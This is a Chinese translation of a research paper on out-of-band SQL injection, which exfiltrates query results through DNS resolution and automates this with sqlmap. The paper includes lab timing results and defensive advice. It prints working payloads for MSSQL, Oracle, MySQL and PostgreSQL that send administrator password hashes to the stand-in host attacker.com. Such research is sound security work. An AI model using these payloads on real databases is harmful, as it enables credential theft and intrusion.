<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/5283

            0x00 前言


            原文地址: http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf

            原文作者: Miroslav ?tampar

            本文描述了一種利用DNS解析過程獲取惡意SQL查詢結果的先進的SQL注入技術。帶有sql查詢結果的DNS請求最終被攻擊者控制的遠程域名服務器攔截并提取出寶貴的數據。

            開源SQL注入工具—SqlMap現在已經可以自動完成這個任務。隨著SqlMap的升級完成,攻擊者可以使用此技術進行快速而低調的數據檢索,尤其是在其他標準方法失敗的情況下。

            0x01 介紹


            滲出是一個軍事術語,指的是通過隱蔽手段從敵人的領土內部盜取資產。如今它在計算機上有一個絕佳的用法,指的是非法從一個系統中提取數據。從域名服務器(DNS)中提取數據的方法被認為是最隱蔽的滲出方法。這種方法甚至可以通過一系列的信任主機以外的內部和外部域名服務器進行域名查詢而用于沒有公共網絡連接的系統。

            DNS是一個相對簡單的協議。DNS客戶端發送的查詢語句和相應的DNS服務器返回的響應語句都使用相同的基本的DNS消息格式。除了區傳送為提高其可靠性使用TCP以外,DNS報文都使用UDP封裝。如果有人使用了Wireshark之類的工具監視機器,一個使用了DNS的隱蔽信道看起來像一系列轉瞬即逝的小光點。

            從安全系統中轉播DNS查詢到任意基于互聯網的域名服務器是實現這一不受控制數據信道的基礎。即使我們假設目標主機不被允許連接到公共網絡,如果目標主機能夠解析任意域名,數據還是可能可以經由轉發DNS查詢而滲出。

            當其他更快的SQL注入(SQLI)數據檢索技術失敗時,攻擊者通常會使用逐位檢索數據的方法,這是一個非常繁雜而費時的流程。因此,攻擊者通常需要發送成千上萬的請求來獲取一個普通大小的表的內容。我們將要?提到的是一種攻擊者通過利用有漏洞數據庫管理系統(DBMS)發起特制的DNS請求,并在另一端進行攔截來檢索惡意SQL語句結果(例如管理員密碼),每個循環可傳輸幾十個結果字符的技術。

            0x02 技術分類


            根據用于數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inband, inference(推理) 和out-of-band。

            Inband技術使用攻擊者和有漏洞的Web應用程序之間現有的渠道來提取數據。通常該通道是標準的Web服務器響應。它的成員union技術使用現有的web頁面輸出惡意SQL查詢的執行結果,而error-based技術則引發特定的惡意SQL查詢的執行結果的DBMS的錯誤消息。

            相反的,在Inference技術中,攻擊者通過應用程序表現的差異來推斷數據的值。Inference技術能夠逐位提取惡意SQL查詢結果,卻沒有真正傳輸數據。

            Inference的核心是在服務器執行一系列的布爾查詢,觀察和最后推導接收結果的含義。根據觀察到的特性,它的成員被稱為布爾型盲注(bool)和基于時間(time-based)的盲注技術。在布爾型盲注技術中,可見的網絡服務器響應內容的變化被用于區分給定的邏輯問題的答案,

            而在基于時間的盲注技術中則通過觀察Web服務器響應時間的變化來推斷答案。

            Out-of-band (OOB)技術,與inband相反,使用其它傳輸信道獲取數據,例如超文本傳輸協議和DNS解析協議。當詳細的錯誤信息被禁用、結果被限制或過濾、出站過濾規則不嚴和/或當減少查詢的數目變得極度重要時inference技術看起來像是唯一的選擇,這時使用OOB技術滲透便變得十分有趣。例如,基于HTTP的OOB技術的SQL查詢結果變成了發送給HTTP服務器請求的一部分(例如GET參數值)被能訪問日志文件的攻擊者控制時。此類的技術不像其它的主流技術被廣泛應用,主要是其所需的設置非常復雜,但使用它們可以克服許多障礙(如避免不必要的數據庫寫入和極大地提升利用INSERT/UPDATE語句漏洞的基于時間的SQLI)。

            0x03 DNS解析


            當一個客戶端需要查找程序中使用的網絡名時,它會查詢DNS服務器。DNS查詢有許多不同的解析方式:

            enter image description here

            例如,使用遞歸過程解析名稱test.example.com。這種情況發生于DNS服務器和客戶端都是第一次啟動且沒有能用來解析域名查詢的本地緩存信息。此外,假設客戶端發起的域名查詢是一個本地沒有其配置區域信息的域名。

            首先,默認的DNS服務器解析域名的全名并且確定該域名是一個需要知道地址的權威的頂級域名(TLD)服務器--在這個案例的域名中。然后,它使用迭代(非遞歸)查詢該服務器來獲得推薦的example.com域。

            當它的地址被完成檢索后,被引用的服務器會被聯接--這實際上是一個注冊example.com域的域名服務器。因為它所配置的區域包含了查詢的域名,它會將所得到的IP地址作為一個權威響應返回給發起該過程的原始服務器。

            當原始的DNS服務器接收到所請求的查詢所獲得的權威響應,它轉發該響應回客戶端,遞歸查詢過程結束。 這類的解決方案通常由DNS服務器嘗試解析DNS客戶端發起的遞歸域名查詢時發起的,并且有時被稱為“遍歷樹”(walking the tree)。

            0x04 引發DNS請求


            成功利用DNS從有漏洞的數據庫中滲出數據的前提條件是DBMS中有可用的能直接或間接引發DNS解析過程的子程序。 然后這類的子程序被攻擊者利用,作為攻擊的媒介。

            任何可以接受網絡地址的函數是最有可能被利用來進行這種攻擊的。

            ?4.1 Microsoft SQL Server


            擴展存儲程序是一個直接運行在微軟的地址空間庫SQL服務器(MSSQL)的動態鏈接。有幾個未被公開說明的擴展存儲程序對于實現本文的目的特別有用的。

            攻擊者可以使用Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。Windows系統的UNC語法具有通用的形式:?

            \\ComputerName\SharedFolder\Resource
            

            攻擊者能夠通過使用自定義制作的地址作為計算機名字段的值引發DNS請求。

            4.1.1 master..xp_dirtree

            擴展存儲程序master..xp_dirtree()用于獲取所有文件夾的列表和給定文件夾內部的子文件夾:

            ?master..xp_dirtree '<dirpath>'
            

            例如,要獲得C:\Windows run:里的所有文件夾和子文件夾:

            ?EXEC master..xp_dirtree 'C:\Windows';?    
            

            4.1.2 master..xp_fileexist

            擴展存儲程序master..xp_fileexist()用于確定一個特定的文件是否存在于硬盤:?xp_fileexist '' 例如,要檢查boot.ini文件是否存在于磁盤C 運行:

            ?EXEC master..xp_fileexist 'C:\boot.ini';
            

            ?4.1.3 master..xp_subdirs

            擴展存儲程序master..xp_subdirs()用于得到給定的文件夾內的文件夾列表:?

            master..xp_subdirs '<dirpath>'
            

            例如,要獲得C:\Windows中的所有次級文件夾:?

            EXEC master..xp_subdirs 'C:\Windows';?    
            

            4.1.4例子

            接下來的是的通過MsSQL的擴展存儲程序master..xp_dirtree()將管理員(sa)的密碼哈希通過DNS傳輸的例子。?

            #!sql
            DECLARE @host varchar(1024);?    
            
            SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com';
            ?EXEC('master..xp_dirtree "\\[email protected]+'\foobar$"');
            

            這種預先計算的形式被使用,因為擴展存儲程序不接受帶有參數的子查詢。因而使用臨時變量存儲SQL查詢的結果。

            4.2 Oracle?


            Oracle提供的PL/ SQL包被捆綁在它的Oracle數據庫服務器來擴展數據庫功能。為了實現本文的目的,其中幾個用于網絡接入的包讓人特別感興趣。

            ?4.2.1 UTL_INADDR.GET_HOST_ADDRESS

            UTL_INADDR包用于互聯網的尋址--諸如檢索本地和遠程主機的主機名和IP的地址。

            它的成員函數GET_HOST_ADDRESS()用于檢索特定主機的IP:

            ?UTL_INADDR.GET_HOST_ADDRESS('<host>')
            

            例如,為了獲得test.example.com的IP地址,運行:?

            SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');?    
            

            4.2.2 UTL_HTTP.REQUEST

            UTL_HTTP包用于從SQL和PL/SQL中標注出HTTP。 它的程序REQUEST()回從給定的地址檢索到的第1-2000字節的數據:?UTL_HTTP.REQUEST('')

            例如,為了獲得http://test.example.com/index.php頁面的前兩千字節的數據,運行:

            ?SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;?    
            

            4.2.3 HTTPURITYPE.GETCLOB

            HTTPURITYPE類的實例方法GETCLOB()返回從給定地址中檢索到的CLOB(Character Large Object)?HTTPURITYPE('').GETCLOB()

            例如,從頁面http://test.example.com/index.php開始內容檢索 運行:

            ?SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
            

            4.2.4 DBMS_LDAP.INIT

            DBMS_LDAP包使得PL/SQL程序員能夠訪問輕量級目錄訪問協議(LDAP)服務器。它的程序INIT()用于初始化與LDAP服務器的會話:?DBMS_LDAP.INIT(('',)

            例如:初始化與主機test.example.com的連接 運行:

            ?SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
            

            攻擊者可以使用任何以上提到的Oracle子程序發起DNS請求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能導致網絡訪問子程序都受到限制。?

            4.2.5例子

            以下例子是系統管理員(SYS)的密碼哈希被Oracle程序DBMS_LDAP.INIT()通過DNS解析機制傳輸:

            ?SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;?    
            

            4.3 MySQL?


            4.3.1 LOAD_FILE

            MySQL的函數LOAD_FILE()讀取文件內容并將其作為字符串返回:?LOAD_FILE('')

            例如,要獲取C:\Windows\system.ini文件的內容 運行:

            ?SELECT LOAD_FILE('C:\\Windows\\system.ini') ;?    
            

            4.3.2例子

            以下是使用MySQL的函數LOAD_FILE()將系統管理員的密碼通過DNS解析機制傳輸的例子:?

            SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'?    LIMIT 1),'.attacker.com\\foobar'));
            

            4.4 PostgreSQL


            ?4.4.1 COPY

            PostgreSQL的聲明COPY用于在文件系統的文件和表之間拷貝數據:

            ?COPY <table>(<column>,...) FROM '<path>'
            

            例如,為了將C:\Windows\Temp\users.txt的文件內容拷貝到含有唯一列names的users表中 運行:?

            COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'?    
            

            4.4.2例子 以下是使用PostgreSQL的聲明COPY將系統管理員的密碼通過DNS解析機制傳輸的例子:

            #!sql
            ?DROP TABLE IF EXISTS table_output;?    
            
            CREATE TABLE table_output(content text);
            
            ?CREATE OR REPLACE FUNCTION temp_function()?    
            
            RETURNS VOID AS $$
            
            ?DECLARE exec_cmd TEXT;?    
            
            DECLARE query_result TEXT;?    
            
            BEGIN?    SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');?    
            
            exec_cmd := E'COPY table_output(content)FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';
            
            ?EXECUTE exec_cmd;?    END;?    
            
            $$ LANGUAGE plpgsql SECURITY DEFINER;
            
            ?SELECT temp_function();
            

            這種預先計算的形式被使用,因為SQL的聲明COPY不接受子查詢。

            同時,PostgreSQL的變量都必須被明確地聲明并在子程序(函數或者程序)范圍內使用。因此使用用戶自定義的存儲功能。

            0x05 實施


            如前所述,我選擇的工具SQL注入工具是SqlMap,主要是因為本文的作者也是它的開發者之一,并升級它使其支持DNS滲出。新的命令行選項--dns-domain已經被添加用于運行新的程序流程。有了它,用戶可以打開DNS滲出的支持,并且通知SqlMap所有被引發DNS解析請求應指向給定域(例如--dns-domain=attacker.com)。

            域名服務器條目(如ns1.attacker.com)必須包含一臺正在運行SqlMap的機器的IP地址。

            在那里,SqlMap作為虛假的名稱服務器運行,提供有效(但假)的響應從而引發傳入的DNS解析請求。虛假的返回響應服務被運行只是為了立刻解鎖等待中的Web服務器,而不帶有結果,因為程序不是在處理網頁內容本身。

            對于每一個被下載項目,SqlMap都會發送里面帶有特制的SQLI DNS滲出向量的正常HTTP請求,而在后臺運行和記錄所有傳入的DNS請求。由于每個惡意的SQL查詢結果被獨特的隨機選擇的前綴和后綴字符串封閉,不難分辨該DNS解析請求來自哪個SQLIDNS滲出向量。另外,由于那些隨機的封閉字符,幾乎所有的DNS緩存機制都失效了,幾乎是在強迫服務器進行遞歸DNS解析。目前已經全面實現了對DBMSes MsSQL, Oracle, MySQL 和?PostgreSQL 的支持。但是,如前面提到的,只有Oracle能夠同時支持Windows和Linux后端平臺的攻擊,因為其他數據庫需要支持處理Windows UNC文件路徑格式。

            在SqlMap運行時,union和error-based技術具有最高優先級,主要因為他們的速度快而且不需要特殊的要求。

            因此,只有當緩慢inference技術方法是可用的且選項--dns-domain被用戶明確設置時,SqlMap才會打開對DNS滲出的支持。 每個DNS解析請求結果都被按照RFC1034規定的DNS域名標準編碼為十六進制格式。

            這種方式使得最終一切非單詞字符都能被保留。此外,表示較長的SQL查詢結果的十六進制被分割。這是必須做的,因為整個域名內的節點標簽(如.example.)被限制在63個字符長度大小。

            enter image description here

            0x06 實驗設置和結果


            為了進行實驗需要配置和使用三臺機器:

            ?1)攻擊機(172.16.138.1)-物理機

            Ubuntu 12.04 LTS 64-bit OS running latest?

            sqlmap v1.0-dev (r5100)12?

            2) Web (172.16.138.129) –服務器-虛擬機

            with Windows XP 32-bit SP1 OS running a?XAMPP 1.7.3 instance containing deliberately SQLi vulnerable MySQL/PHP web application

            ?3) DNS服務器(172.16.138.130) –虛擬機

            with CentOS 6.2 64-bit OS running a BIND

            使用VMware Workstation 8.0.2制造虛擬環境。所有的測試都在本地虛擬網絡(172.16.138.0/24)中進行。攻擊機被用于攻擊有漏洞的web服務器DNS服務器被用于注冊域名服務器并處理web服務器對域名attacker.com的 DNS解析并將它們返回到攻擊機。

            所有的SqlMap支持的技術都進行了測試,包括最新實現支持的DNS滲出。HTTP請求的數量和所花費的時間都被系統的information_schema表記錄、測量。COLLATIONS表用于被拖(大概4KB)。

            表1.SQLI技術的速度對比

            Method # of requests Time (sec)
            Boolean-based blind 29,212 214.04
            Time-based (1 sec) 32,716 17,720.51
            Error-based 777 9.02
            Union (full/partial) 3/136 0.70/2.50
            DNS exfiltration 1,409 35.31

            0x07 討論


            從表1中給出的結果可以看出,inband技術(union和error-based)是最快的方法,而inference技術(布爾型盲注和基于時間的盲注)是最慢的。

            DNS滲出,如預期那樣,比最慢的inband(error-based)慢,但比最快的推斷方法(布爾型盲注)快。

            基于時間的盲注很明顯太慢了。 現實中,因為連接的延遲和需要時間加載正常尺寸的頁面,所有的技術注定會因每個請求的而有額外的延遲。

            在使用SQLI攻擊有漏洞頁面時一個小的表會被返回,這使得連接讀取得非常快。

            此外,在現實生活中的場景中,不必要的連接延遲將引起time-based技術需要更高的延遲時間,使得dump進程更慢。

            在真實的生活場景中還有一個事實是,DNS滲出的技術在使用非本地的DNS服務器將有額外的延遲。

            然而,它和inference技術之間差別仍然很大,因為后者需要更多的時間去恢復相同的數據將需要更多的時間來檢索,而為了得到相同的數據后者必然有更多的請求。

            總而言之,DNS滲出技術的數值看起來更好一點,使其成為inference方法的一個完美的替代品。

            enter image description here

            圖3: 捕獲到的SqlMap使用DNS滲出時的流量

            0x08 防范技巧


            ?為了預防所本文描述的攻擊,首先要避免SQLI具有最高的優先權。

            使用預處理語句被認為是最安全的預防措施。

            預處理語句能在SQL命令被插入的時候確保查詢的意圖不被攻擊者改變。?

            但像magic_quote()和addslashes()那樣的各種禁制機制并不能完全防止SQLI漏洞的存在或利用,因為在某些技術配合使用的環境條件下,攻擊者仍能利用該漏洞。

            相反,如果不使用預處理語句,推薦使用輸入校檢拒絕惡意的輸入,而不是轉義或修飾。

            管理員應該準備好應對未經授權的底層數據庫訪問。

            好多反擊措施是將所有數據庫的訪問限制在最低權限。

            因此,任何給定的權限應該被授予最少的代碼在最短的持續時間內完成工作。

            根據這一原則,用戶必須只能獲得必要的信息和資源。

            最后一步,為了成功最后緩解DNS滲出攻擊,管理員必須確保所有不必要的系統子程序的執行是被限制的。

            如果一切都失敗了,攻擊者必須不能夠運行那些可以發起DNS請求的程序。

            現在有一些檢測域內DNS流量中惡意活動的工作,但大多缺乏實際和主流的解決方案,所以在這里并不提及。?9總結 本文證明攻擊者如何使用DNS滲出技術大大加快相對緩慢的inference SQLI技術的數據檢索。

            此外,該技術只對有漏洞的Web服務器進行必需的請求,從而大幅降低服務器的繁忙程度。

            由于需要控制域名服務器,它可能不會被多數攻擊者所使用。

            但它再實施上很簡單的,因此它的實際價值是不可忽略的。

            SqlMap已經對它實現支持,因此所有人都可以對它進行進一步研究。

            0x09 參考文獻


            1 sqlmap – automatic SQL injection and database takeover tool, Bernardo Damele A. G., Miroslav ?tampar, http://www.sqlmap.org/?

            2 Exfiltration: How Hackers Get the Data Out, Jart Armin, May 2011, http://news.hostexploit.com/cybercrimenews/4877-exfiltration-how-hackers-get-thedata-out.html?

            3 Wireshark - network protocol analyzer, Wireshark Foundation,https://www.wireshark.org/?

            4 The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, Bill Blunden, WordWare Publishing, Inc., 2009

            5 DNS as a Covert Channel Within Protected Networks,Seth Bromberger , National Electric Sector Cyber Security Organization (NESCO), January 2001,http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/DNS_Exfiltration_2011-01-01_v1.1.pdf?

            6 Data-mining with SQL Injection and Inference, DavidLitchfield, An NGSSoftware Insight Security Research Publication, September 2005,http://www.nccgroup.com/Libraries/Document_Downloads/Data Mining_With_SQL_Injection_and_Inference.sflb.ashx?

            7 Advanced SQL Injection, Joseph McCray, February 2009,http://www.slideshare.net/joemccray/AdvancedSQLInjectionv2

            8 SQL Injection and Data Mining through Inference,David Litchfield, BlackHat EU, 2005,?https://www.blackhat.com/presentations/bheurope-05/bh-eu-05-litchfield.pdf?

            9 SQL – Injection & OOB – channels, Patrik Karlsson,DEF CON 15, August 2007,https://www.defcon.org/images/defcon15/dc15-presentations/dc-15-karlsson.pdf?

            10 The TCP/IP Guide: A Comprehensive, Illustrated Internet Protocols Reference, Charles M. Kozierok, NoStarch Press, 2005

            11 How DNS query works, Microsoft TechNet, January 2005,http://technet.microsoft.com/en?us/library/cc775637(v=ws.10).aspx?

            12 Microsoft Windows 2000 DNS: Implementation and Administration, Kevin Kocis, Sams Publishing, 2001?

            13 Useful undocumented extended stored procedures,Alexander Chigrik, 2010,http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm?

            14 Oracle9i XML API Reference - XDK and OracleXML DB (Release 2), Oracle Corporation, March 2002,http://docs.oracle.com/cd/B10501_01/appdev.920/a96616.pdf?

            15 Hacking Oracle From Web Apps, Sumit Siddharth,Aleksander Gorkowienko, 7Safe, DEF CON 18,November 2010,https://www.defcon.org/images/defcon-18/dc18-presentations/Siddharth/DEFCON-18-Siddharth-Hacking-Oracle-From-Web.pdf

            ?16 Exploiting PL/SQL Injection With Only CREATE SESSION Privileges in Oracle 11g, David Litchfield, AnNGSSoftware Insight Security Research Publication,October 2009,?http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf

            17 RFC 1034: Domain Names – Concepts andFacilities, Paul Mockapetris, November 1987,https://www.ietf.org/rfc/rfc1034.txt

            ?18 SQL Injection Prevention Cheat Sheet, Open Web Application Security Project, March 2012,https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet?

            19 Parametrized SQL statement, Rosetta Code, August 2011,http://rosettacode.org/wiki/Parametrized_SQL_statement

            20 SQL Injection Attacks and Defense, Justin Clarke,Syngress, 2009?

            21 addslashes() Versus mysql_real_escape_string(),Chris Shiflett, January 2006,http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string?

            22 Advanced SQL Injection, Victor Chapela, Sm4rtSecurity Services, OWASP, November 2005,https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt?

            23 Security Overview (ADO.NET), MSDN, Microsoft,2012.,http://msdn.microsoft.com/enus/library/hdb58b2f.aspx?

            24 The Web Application Hacker's Handbook: Findingand Exploiting Security Flaws, Dafydd Stuttard, MarcusPinto, John Wiley & Sons, 2011?

            25 Detecting DNS Tunnels Using Character Frequency Analysis, Kenton Born, Dr. David Gustafson, Kansas State University, April 2010,http://arxiv.org/pdf/1004.4358.pdf

            26 Finding Malicious Activity in Bulk DNS Data, EdStoner, Carnegie Mellon University, 2010,?www.cert.org/archive/pdf/research-rpt2009/stoner-mal-act.pdf

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线